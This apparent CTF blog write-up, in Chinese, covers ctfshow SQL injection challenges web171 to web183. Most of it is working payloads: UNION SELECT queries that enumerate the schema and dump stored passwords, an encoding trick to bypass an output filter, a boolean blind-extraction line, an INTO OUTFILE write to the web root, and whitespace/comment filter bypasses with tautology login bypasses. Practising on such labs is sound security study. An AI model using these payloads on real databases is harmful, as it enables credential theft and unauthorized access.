SQL注入
不一定会所有题都放上来(懒) 但是我尽量
0x01 web 171
总算是开始刷sql注入题了 之前学了 但是没写几题 也算个纯萌新了 所以基础题会细一点 也为了加强自己记忆
1,2,3都能回显 继续直接爆表名
1'union select 1,2,table_name from information_schema.tables where table_schema=database() --+
直接爆字段 记得ctfshow_user要加''
我试了半天不知道哪出问题 还得去翻Y4大佬的博客才发现问题 tcl
1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+
然后就拿到了
1' union select id,username,password from ctfshow_user --+
0x02 web172
先放个撸猫界面源码里的注释
然后看题 发现已经给了表名ctfshow_user2
我自己的莫名其妙方法
随便试试回显
然后 我好像莫名其妙干出来了
1' union select 1,password from ctfshow_user2 --+
直接出了 但是
1' union select username,password from ctfshow_user2 --+
出不来
应该是按照题目给的 username叫flag 所以查询语句查不出 但是直接干password就行
下来是Y4大佬的解法
不能有flag字段 所以尝试用编码 这里大佬用的是base64和hex
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+
然后拿最后一行解码 拿到flag
Y4👴tql
0x03 web173
同上
0x04 web174(已补)
先前因为脚本水平太辣了 导致跳过了本题 后来看了各路大佬的脚本之后 就尝试写了一下脚本 这里就不贴了 跑了2分钟才出答案的脚本实在太垃圾了 算了 放一条脚本中爆破的那句话 懂了原理 你也就会写脚本了(这是payload 也就是在sql查询中的语句 他的if语句是true返回第一个 错了返回第二个)
?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'nice','dddd') -- -"%(i,j)
0x05 web 175
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--
写进目录 访问即可
0x06 web176
不知道waf是啥 就猜 发现union select不行 然后夏姬八试 发现好像是过滤了select 这里可以直接利用大小写过滤
1' union Select 1,password,3 from ctfshow_user --+
然后从Y4👴的blog里面发现 可以直接万能密码1' or 1=1--+
我还是tcl
0x07 web177-179(久违的更新 摸鱼人回来补题辣)
177-178
大概过滤了空格和注释 用url编码绕了 万能语句通杀
1'or%091=1%23
179
emmmm 可能是群主的waf少加了一个%0c?
1'or%0c1=1%23
顺便在别人的博客发现 原来万能密码可以不用空格也行 feng师傅tql
顺便atao师傅tql(偌大的ctfshow竟然只有我是fw)
1'or'1'='1'%23
0x08 web 180-182
似乎是%23被过滤掉了 至于为什么payload是id=26 我也没明白
因为到22开始就没有回显了 为什么不猜22呢
(后来看到有大佬用burp跑出来的26
首先是群主的payload(第一个单引号前需要输入一个没有的数)
180181通杀
111'or(id=26)and'1'='1
原理是看了feng师傅的博客
通过上面给的查询语句来构造
1.where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";
and优先级>or也就是
2.(username !='flag' and id = '') or (id=26and'1'='1')
where输出的是1那条 所以出来了(我还是tcl)
然后还有一种就是
-1'||id='26'||' 这个语句大伙把他带入搜索语句里面就懂了
0x09 web183
首先看博客学习regexp()